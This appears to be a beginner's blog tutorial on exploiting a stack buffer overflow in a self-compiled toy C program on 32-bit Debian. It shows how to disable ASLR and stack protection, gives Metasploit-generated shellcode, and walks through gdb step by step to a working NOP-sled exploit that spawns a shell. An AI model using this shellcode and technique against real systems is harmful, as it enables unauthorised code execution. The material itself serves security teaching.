Document was created to consolidate knowledge about buffer overflows.
1. Why exploit is not working on the modern system(s)?
Because of development of new programs, systems and protections attackers
are working on new techniques to bypass those protections.
2. What to do to check what security settings we have at our system?
In the machine like mine (Debian 7, with `uname`:
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux)
we can do it in a few ways, for example:
a) ldd - print shared library dependencies
Typing:
$ ldd <ourprog>
few times, we can check if addresses in memory have changed. It will help
us to specify if in our system we have enabled so called ASLR(1).
b) we can also check if ASLR is enabled by default by reading the value
from 'randomize_va_space' file:
$ cat /proc/sys/kernel/randomize_va_space
Any other value than 0 tells us that addresses will be changed.
In case of learning process it's good to change this (default) value
to zero. We can do it by:
# echo "0" > /proc/sys/kernel/randomize_va_space
c) Tobias Klein(2) wrote a nice tool to check what security setting
was added to our binary. This tool you can find at his page(2).
3. Where can we start?
We can start everywhere where we will find a computer. ;)
Better question is: what we should know to start understanding,
not only rewriting examples from books and articles.
So, a short list:
-- programming in C (you not need to be 'ace', you need only few
chapters from any book about C where you will find information about:
arrays, pointers, receiving and displaying characters and probably few
things about memory management).
-- programming in Python - because many tools (for example fuzzers) can
be created really fast.(3)
-- ASM - the magic and the scare, super difficult and super easy at the
same time. In my case the best idea to learn this, was a paper and pen (4)
and writting names of registers (for example Intel's), what they means and
for what we can use them. Nice idea to memorization.
Next step is getting used to all super-magic shortcuts like add, movl, call
and so on. (You can write it down too. The more you practice, the better.)
-- if it's still not enough for you, good start should be also:
$ man gcc
(try here (5)) and check what (changes and) options are available during
the compilation (what will be usefull to understand what protections
you can disable at the compilation stage.)
4. Example
We will need some example vulnerable to attack.
At my blog I decide to write about few cases how to exploit RCE
in webapps (6) so in a similar way we will try to find a vulnerable
example in C language.
https://github.com/search?q=extension%3AC+strcpy%28argv[1]%29&ref=cmdform
Searching in this way we will find few examples of 'lessons' described
by someone else. We will use this examples. First answer for our search
query is a program called 'vulnerable.c':
---<code>---
void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
---<code>---
Making sure, that "randomize_va_space" file has value '0', we will compile(7)
our vulnerable program:
* -ggdb - "Produce debugging information for use by GDB"
* -g - "Produce debugging information in the operating system's native format"
* -fno-stack-protector - disables the protection
k@debian:~/src/bugz$ gcc vulnerable.c -o vulnerable -ggdb -g -fno-stack-protector
We will fill the buffer of our program, to overflow it.
$ gdb -q ./vulnerable
(gdb) r `perl -e 'print "A"x524,"B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "A"x524,"B"x4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Ok. Program crashed.
No we will get a shellcode (from Metasploit from BackTrack5(8)).
To get on, we will use 'msfpayload':
root@bt:/pentest/exploits/framework3# msfpayload linux/x86/exec CMD=dash R |
msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 142 (iteration=1)
unsigned char buf[] =
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56"
"\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68"
"\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b"
"\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34"
"\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58"
"\x61\x58\x4d\x4f\x70\x41\x41";
Using this command we will have a shellcode ready to use as our buffer value.
To get this working we must remember that we will need to substract from
our 'overflow'-value (524*"A"), length of our shellcode (142 bytes in
this case).
To exploit this vulnerability we will need this kind of situation:
[ A*382 ] + [ shellcode ] + [ B*4 ]
to set EIP (instruction pointer, holds the program counter, current instruction
address) to our "BBBB" string.
So now in 'gdb' we will use this string:
(gdb) r `perl -e 'print "A"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a
\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42
\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39
\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51
\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53
\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50
\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41","B"x4'`
Our output should look like this:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp esp
eip 0x42424242 0x42424242
ebp 0x4141704f 0x4141704f
esp 0xbffff540 0xbffff540
Ok. Now we must localize the beginning of our shellcode in memory:
(gdb) x/600wx $esp
(...)
0xbffff880: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff890: 0x41414141 0x41414141 0x41414141 0xc6d9e189
0xbffff8a0: 0x58f471d9 0x49495950 0x49494949 0x49494949
0xbffff8b0: 0x43434343 0x51374343 0x58416a5a 0x30413050
(...)
Ok. Let's check if the answer from gdb is the real one, which we want to
call by our overflow:
(gdb) x/s 0xbffff890
0xbffff890: 'A' <repeats 12 times>"\211, \341\331\306\331q\
364XPYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICZVkV8Z9
CbE6CXVMRCLIZGCXToQcPhEPRHVOPbE9PnMYKSCbIxC5C0GpGpE4QqPsPhGpCgV3
LIXaXMOpAABBBB"
Almost good.
Instead of letter "A" we will use NOP ("no operation") instruction. It
will let us 'slide' to our address (where we want to return). Instead
of mentioned "B" value, let's use the value we've found before:
(gdb) r `perl -e 'print "\x90"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50
\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37
\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32
\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56
\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a
\x47\x43\x58\x54\x6f\x51\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45
\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47
\x70\x45\x34\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58
\x61\x58\x4d\x4f\x70\x41\x41","\x90\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "\x90"x382,
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49
\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30
\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50
\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36
\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68
\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62
\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50\x68
\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41",
"\x90\xf8\xff\xbf"'`
process 4336 is executing new program: /bin/dash
$ uname -a
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
$
And that's all. Now we have exploited a buffer overflow vulnerability.
Thanks!
1) ASLR
http://en.wikipedia.org/wiki/Address_space_layout_randomization
2) Tobias Klein -
http://www.trapkit.de
3) Python
https://wiki.python.org/moin/BeginnersGuide
http://en.wikibooks.org/wiki/Python_Programming
4) ASM
http://en.wikibooks.org/wiki/X86_Assembly
5) GCC
http://gcc.gnu.org/releases.html
6) Finding vulnerabilities at github.com
http://hauntit.blogspot.com/2013/06/en-rce-another-lesson.html
7) GCC Debugging options
http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Debugging-Options.html
8) Metasploit
http://www.metasploit.com